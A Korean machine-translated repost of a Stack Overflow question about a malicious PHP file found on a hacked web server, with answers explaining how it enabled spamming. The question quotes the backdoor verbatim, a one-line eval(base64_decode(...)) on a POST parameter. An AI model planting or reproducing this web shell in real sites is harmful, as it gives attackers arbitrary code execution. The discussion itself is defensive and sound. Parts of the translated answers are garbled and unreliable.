내 웹 서버에서 발견된 악의적인 PHP 파일로, 이 문제가 다시 발생하지 않도록 치료 및 예방하는 데 도움이 필요합니다.
호스팅 제공업체는 최근 제 웹사이트에 있는 무언가가 엄청난 양의 스팸 메일을 보내고 있다는 이유로 제 웹사이트를 중단시켰습니다.원래 나와 프로바이더는 며칠 전에 서버에 올린 이메일 캠페인의 안전하지 않은 양식 때문이라고 생각했습니다.서버에서 폼이 있는 페이지를 삭제했지만 서버는 여전히 스팸 메일을 보내고 있었습니다.
서버의 루트 디렉토리에 있는 "css" 폴더에서 7c32.php라는 이름의 php 파일을 찾았습니다.난 절대 성공하지 못했어.파일에 있던 코드는 다음과 같습니다.
<?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}?>
온라인 디코더를 통해 실행한 결과 다음과 같이 나타났습니다.
if(isset($_POST["code"])){eval(base64_decode($_POST["code"]));
악의적인 php 파일에 대해 읽어보니 eval() 및 base64_decode 문자열이 매우 의심스럽더군요.서버 로그 파일을 살펴보니 사우디아라비아의 IP 주소에서 발신된 이 7c32.php 파일에 대한 몇 가지 포스트 쿼리를 볼 수 있었습니다.
php 파일을 삭제하고, 모든 오래된 워드프레스 테마와 플러그인(플랫폼 자체뿐만 아니라)을 업데이트하고, FTP 서버 및 워드프레스 관리 계정의 비밀번호를 훨씬 더 안전한 것으로 변경했습니다.
서버의 보안을 확보하기 위해 제가 할 수 있는 다른 방법이 있나요?이 base64와 eval(서버상의 다른 모든 php 파일의 문자열)을 검색하려고 합니다만, 그 이외에는 아이디어가 없습니다.
이 php 스크립트는 피해를 입히기에는 너무 짧은 것 같습니다만, 그 밖에 무엇이 스팸 메일을 송신할 수 있을까요?
어떤 도움이라도 주시면 감사하겠습니다.
eval()
문자열로서 전달된 PHP 코드의 거의 모든 부분을 실행할 수 있다는 점에서 매우 위험한 작은 언어 구조입니다.따라서 스팸을 보내는 것은 실제로 매우 파괴적이지 않지만 메일을 보내는 스크립트일 수 있습니다.eval()
할 수 있을 것 같아요.
에 내의 할 수 경우.eval()
POST를 통해 스크립트에 올바른 명령어를 송신하는 것만으로, 이것도 가능하게 됩니다.
메일을 발송하는 코드 조각이 맞는지 확인하고 싶다면 다시 넣되 자신에게 유리하도록 수정하십시오..eval()
대신 POST 데이터를 데이터베이스 또는 텍스트 파일에 저장합니다.그래야 이 코드가 정확히 무엇에 사용되는지 알 수 있습니다.
이 php 스크립트는 피해를 입히기에는 너무 짧은 것 같습니다만, 그 밖에 무엇이 스팸 메일을 송신할 수 있을까요?
어떻게 이 코드가 너무 짧다고 생각하세요?이는 eval()을 사용하는 최악의 코드입니다.
eval() 언어 구성은 임의 PHP 코드를 실행할 수 있기 때문에 매우 위험합니다.따라서 그 사용은 권장되지 않는다.이 컨스트럭트를 사용하는 것 외에 다른 옵션이 없음을 주의 깊게 확인한 경우, 사전에 적절히 검증하지 않고 사용자가 제공한 데이터를 해당 컨스트럭트에 전달하지 않도록 각별히 주의하십시오.
에는 PHP 코드를 할 수 .too short
평가하다t file upload without validation do do do 。
그 많은 스팸메일을 보낼 수 있는 게 또 뭐가 있을까요?
e-메일을 보내는 것과 동일한 평가 코드입니다.E-메일 코드를 투고하면, E-메일 코드가 차례로 실행되어 송신됩니다.
언급URL : https://stackoverflow.com/questions/16910296/malicious-php-file-found-on-my-webserver-need-help-cleaning-and-preventing-this
'source' 카테고리의 다른 글
네임스페이스 작업 시 SimpleXMlement를 찾을 수 없습니다. (0) | 2023.03.31 |
---|---|
jqXHR.responseText가 JSON 개체 대신 문자열을 반환하는 이유는 무엇입니까? (0) | 2023.03.31 |
빈 문자열을 개체 식별자로 사용할 수 있습니까? (0) | 2023.03.31 |
태그 오류: 렌더에서 JSX 스타일 태그 오류 반응 (0) | 2023.03.31 |
숨겨진 입력을 각도로 모델에 바인딩 (0) | 2023.03.31 |